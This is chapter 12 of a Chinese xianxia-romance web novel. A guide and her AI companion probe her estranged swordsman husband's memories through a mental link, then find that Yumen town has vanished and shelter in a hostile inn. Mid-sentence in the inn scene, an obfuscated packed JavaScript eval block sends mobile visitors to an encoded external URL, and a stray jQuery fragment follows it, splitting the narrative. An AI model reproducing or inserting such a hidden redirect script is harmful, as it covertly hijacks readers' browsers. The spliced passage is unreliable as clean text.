12. 第 12 章

作品:《被夫君一剑穿心后许他琴瑟齐眉

    【也就是说,那日雁觉灵混淆了我与幻觉。剑修以杀入道,自然也以杀破幻境,这便是那穿心一剑由来。所以……】


    箜篌:【所以你后悔了?】


    岳渐青:【所以他竟因杀了位染魔修士,一整年困于心魔幻觉?】


    两句话异口同声,两位智慧生物不由一同怔住。


    沉默流淌许久,碳基生物打破了尴尬。


    岳渐青:【为何后悔?难道他未曾持剑杀我?难道杀大母之人不是他?姜祁兄妹视除异兽为毕生使命,能为此付出性命也不怨恨,我不能。】


    箜篌:【我还以为,你会觉得错认导致的误杀情有可原。】


    岳渐青:【误杀不是杀吗?】


    明镜宗律令中明确做过界定,对侵害对象认知错误,不影响罪行成立。即便认甲作乙,只要有故意,只要对甲实施侵害,那就该被拉去法司受刑。但很可惜,这些律令喊得漂亮,落在塔尖,不过一纸空文。


    岳渐青:【既如此,我对他施以同等回报,他也合该受着。】


    她抬眼,视线所及,星火自世界边缘渐渐散去。雁觉灵状态重回安定,那些记忆乱流已归于平静。


    她道:【但大母之事,或有旁人参与。】


    若说他困于心魔,是因与姜郢等人情谊厚重,那为何杀姜郢时,他言语行动,与对大母下手时相差无几?


    箜篌:【没错,从他的记忆来看,好像他的确特别痛恨异兽污染人类、对城池村落大肆屠杀。这么一讲,之前那些名声,似乎也不全都是装的。】


    但向导并未回应。


    AI探头一听,岳渐青正在自顾自深思。


    【……因此大母临死前,或许也染了魔毒。但……】


    记忆最终,她独自蜷于主院地上,半空仍有异兽魔息。


    这不合理。


    以岳观海秉性,异兽未扫清前,她绝不龟缩人后。便是染了魔毒,她也会在战场上斗至最后一刻,再清醒着自绝心脉。


    她何时染魔?为何在异兽未灭时回府?又为何在最后一刻,身边空无一人?


    关于这些,岳渐青在护舰小队与面具人记忆数据里一无所获。内情如何,城中、府内究竟发生过什么,世上或许只有雁觉灵知晓。


    岳渐青:【但现在他SAN值回升到了正常范围,很难再捉到乱流数据。】


    箜篌:【……】


    岳渐青:【他几次掉SAN都是在清醒状态,现在他昏着,复刻那些情景不太现实。】


    箜篌:【……】


    岳渐青:【不过在《手册》里,好像有个法子能用。】


    ——“在由向导主导发起的该特定条件下,哨兵将陷于精神力极度松弛状态,精神域壁垒对向导全面敞开。”


    她一字不差复述过这段引语,继续道:【我只瞥了一眼,具体操作没看,但应该可行。】


    箜篌:【……】


    箜篌:【可是……】


    岳渐青:【这法子捉不到记忆数据?】


    箜篌:【能捕捉,可是……】


    岳渐青:【对我精神力或精神域有损伤?】


    箜篌:【没有,可是……】


    岳渐青:【实施条件很严格,我现在难以完成?】


    箜篌:【能完成,可是……】


    岳渐青:【那就把操作明细给我。】


    箜篌:【……】


    箜篌默默调出操作数据,传给向导。


    于是世界被大雪覆盖。


    深空之中,雪粒子徐徐上升,蔓延向宇宙深处。冰屑裹挟着沙粒,精神力和气息悄然交融。


    它们渐渐流淌得更深。


    骤然间,一种难言的麻和温暖如同利刃,纠缠着刺破感官。冷灼界限被打破,浪潮开始痉挛。


    一道光汹涌而至,笼住大片精神域,往古老而禁忌之地奔袭。潮水即将灭顶,岳渐青几乎能看见九州之外,寰宇边缘。


    她猛地退出精神域。


    睁眼瞬间,她人分明跪坐着,但险些撑不住身体,一头栽进雁觉灵怀里。


    而较之她这个“凡人”,雁觉灵身为修士,五感在全九州也是最敏锐那一波,眼下几乎可用“惨不忍睹”形容。


    他倚着岩石,原本连昏迷也要绷成一张弓,此刻却脱了力般瘫软松懈,露出一段鲜明喉结,呼吸极剧烈。他鼻间额角缀满细小汗珠,左脸新生肌理已盖住大半骨骼,自眼尾至耳根红成一片。


    绯红沿侧颈伸进领口,描摹着锁骨,坠入了胸骨,在骨头下方红成一颗心脏。鲜红,赤|裸,满是血纹裂痕,起伏频率仿佛可以在任何一瞬炸出火焰。


    而右半边胸口,盘曲交错的血痕脉络已然溃散,皮肤被左胸衬得像块无暇冷玉,大剌剌暴露在领口之外。


    箜篌:【我真的提醒过你,给你发的明细第一段也写了后果。】


    岳渐青:【你是指“链接耦合会诱使双方精神域达成热接驳现象”这句话?】


    她要是第一眼能就把“热接驳”和“神交”这两件事画上等号,也不会十几天了还在吭哧吭哧啃几个G的《向导手册》《向导法则》全系列。


    半晌,她终于缓过一口气,开始在书里一处处搜索“链接耦合”“热接驳”几个名词,看了几行,一阵后怕。


    在精神域耦合程度进入链接形态后,热接驳并不是终点。更进一步,还有个状态叫做完全联结,不仅哨兵会对向导全面敞开壁垒,向导也将为哨兵全面打开屏障,最终达成精神域共生。


    即,同生共死。


    这着实危险。


    但还是那句话,富贵险中求。


    在没有条件诱导雁觉灵进入掉SAN状态时,岳渐青只要控制好自己,在完全联结前停止链接耦合,其实这法子对捕捉记忆数据而言,有很大操作空间。万不得已之时,倒也可以一试。


    但现下她精神力几近耗空,今天只能就此罢手。


    岳渐青:【先回玉门吧,想来方道友已带人将低阶异兽处理干净了。】


    面具人二号已毁在魔气缝隙里,一号御空速度虽也不慢,但一来她没有精神力驱动那傀儡,二来一号也带不动两个人。


    箜篌震惊:【你要带他一起走?】


    岳渐青:【既然大母之事,除他之外无人知晓,来日重返明镜宗调查,也还是得在他身上下功夫。】


    而这般重伤,于他而言想必极为罕见。不趁他如今虚弱,将乱流数据多薅一点是一点,再想得此机遇,定然难于登天。


    她放出短程飞行法器,用仅剩精神力控制面具人一号将雁觉灵背进去,又以惊蛰令开启了升空法阵。


    暮色早已褪去,法器从月独山结腹地结界飞进夜幕。整座山脉万籁俱寂,只有山风低低呼啸。


    然而,当岳渐青已能从法器窗口望见绿洲边境时,死寂并未结束。


    仿佛方圆几十里,仅存法器上两个活物。


    怪异感慢慢袭上心头,眼看离玉门镇还有四十余里,她打开了法器上另一个隐匿法阵。


    又航行过几息,箜篌灯带一晃,声音第一次凝重起来。


    ——岳渐青预感化为了现实。


    箜篌:【向导,不对劲,二十公里内,没有捕捉到任何智慧体的精神域信号。】


    岳渐青阖上眼睫,胸膛起伏。


    沉默良久,箜篌轻声提醒:【向导,我们到了。】


    她推开窗。


    绿洲在夜色中静静睡着,正中却裸露了一块,空出一座巨大圆形。


    整个玉门镇,连同城墙在内,消失了。


    …………


    “听说了吗,西北出了件怪事。离咱们最近的那个玉门镇,一整个镇子,连人带房子,还有城墙大阵,青天白日的,全找不着了!”


    正值晚膳,客栈一层酒气浓重。


    伴着这道醉醺醺又极尽夸张之音,大堂里响起一阵应景惊呼。


    “莫不是让什么邪祟摄去了?这这,不会影响到我们三量城吧?”


    “说什么晦气话!我三量城供奉的可是不尘山诸位仙长,哪像那玉门镇,处处与不尘山不敬?有今日,算他们仁得仁!”


    “话不能这样说,不尘山仙长们心系众生,虽说是玉门无礼于前,但仙长们还是念着百姓无辜,已前去调查了。”


    “不过,听说那边着实邪门,原址所在,一片光秃,就跟什么大能将整个镇子连根端走了似的,连块砖都没留下。”


    三量城民风剽悍,当地人饮酒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117842|164208||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    成风,客栈食客皆以八卦下酒。酒一下肚,思维跳脱,畅聊话题很快从玉门消失一事,转去了各类邪祟怪谈。


    小二穿梭其间,将一碗拌面送至角落那桌。说是碗,但大得似盆,里头红彤彤一片,叫人看了就屁股疼。


    “夫人,您的面好了。”小二踌躇片刻,对一身兜帽长袍的女子捧出个谄媚笑容,“楼上那位仙长,不用些吃食?或是小人为仙长请个医修来?”


    岳渐青掀起眼皮,带着满心不耐和他对视。


    小二叫她盯得脸色一顿变化,一哆嗦,连连后退几步:“那小人就不叨扰夫人了,您有需要,再叫小人。”


    他手忙脚乱蹿出去,急得好像后头有鬼在追。直到他跑远了,岳渐青才关掉幻觉阵盘,守着窗子低头干面。


    窗外斜阳正盛。


    自玉门镇离奇消失至今,已是第三个傍晚。


    当夜岳渐青没在玉门停留,操纵短程飞舟飞了一夜半日,终于在惊蛰令储存灵力耗尽前,于次日晌午抵达三量城。


    甫一进城,她便发觉此地民风奇异,与不尘山满山谪仙传闻全不相符。


    分明她没露丝毫明镜宗信物,各家客栈依然冷言冷语,百般拒她二人之门外。可她亮出金银,这种排斥就变成了一种垂涎。而待进了上房,她洗去面上脏污,垂涎范围就从财物开始一路扩大。


    自昨夜至今,各种大小试探就没个消停。


    岳渐青精神力没恢复完全,懒得动手,索性从防身法器里挑了几个趁手小玩意。


    虽说惊蛰令所存灵力不多,但毕竟出自雁觉灵,所控法器又均是灵识攻击类,在岳渐青手里极省灵力,前前后后竟也送走了十来位恶客。


    但若不出所料,今夜来客,不会似昨晚那般抬抬手便能应付。


    思及此,她几筷子吃碗面,拉紧兜帽上了三楼。


    房间里,雁觉灵还在沉睡。


    他心脏处已无骨骼露|出,但皮肤仍未愈合。岳渐青本预估他最晚今晨便醒,可眼下暮色沉沉,他仍未有醒来之意。


    原本这对她是件好事。她一恢复精神力,就可立刻以链接耦合获取记忆。


    然而,谁能想到,她精神力复原速度竟不如他自愈速度?!


    定是三量城与她犯冲!


    更让她不耐之事,则是她本打算今日便独自离开,但她一早下楼才知,三量城明日逢节。自昨夜起,全部街坊不许外人在外逗留,直到三日后庆典结束,才放客人出入。


    ……嗯,包括城门口那段路。


    长这么大,岳渐青第一次听说这般习俗。


    只能说,她生来与三量城犯冲。


    她在窗边凭栏而坐,把玩着法器向外望去。


    楼下张灯结彩,满街欢喜。


    门外却忽而传来一声苍老长咳,她回过头,门缝里正窃窃伸进一只白兀鹫的秃头。


    是个元婴初期。


    惊蛰令那点灵力,不够看了。


    不过没关系,一进客栈,她便已做过这般排演。以她当前精神力,即便难以实现链接耦合,可控制面具人一号是绰绰有余。


    她一眨不眨盯着那只白兀鹫,精神力探向容器。


    身后却忽然响起一声叹息,一道热浪绕过岳渐青,猛地扑向门外。


    她一个向日葵猛回头。


    雁觉灵眼神黏在她身上,声音带着哑意,回荡于房间内外:“这般翻江倒海,您老可是走板儿了。”


    门外一声闷哼:“……怎么着,你这芽儿,还是个相家?”


    ……风水轮流转。


    这次换岳渐青听不懂加密交流了。


    雁觉灵倚着床头,带着一脸忍俊不禁,从她身上移开视线,又很快挪回来。


    他深深望进她眼底,说:“我这人,您挖不下来。但大家都是攒儿亮,您不过是叫通事给受了腥了,不用觉得抹盘。”


    屋外那人停顿几息,怀疑道:“你这芽儿莫要耍嘴,且报个名头来。”


    雁觉灵勾起唇角,宛如看到鱼儿上钩:“小子不才,忝居靳挑青阿姐门下。”


    门外连连一阵吸气,兀鹫一拍翅膀,连滚带爬飞走了。


    岳渐青:“……”


    她默默闭上了眼睛。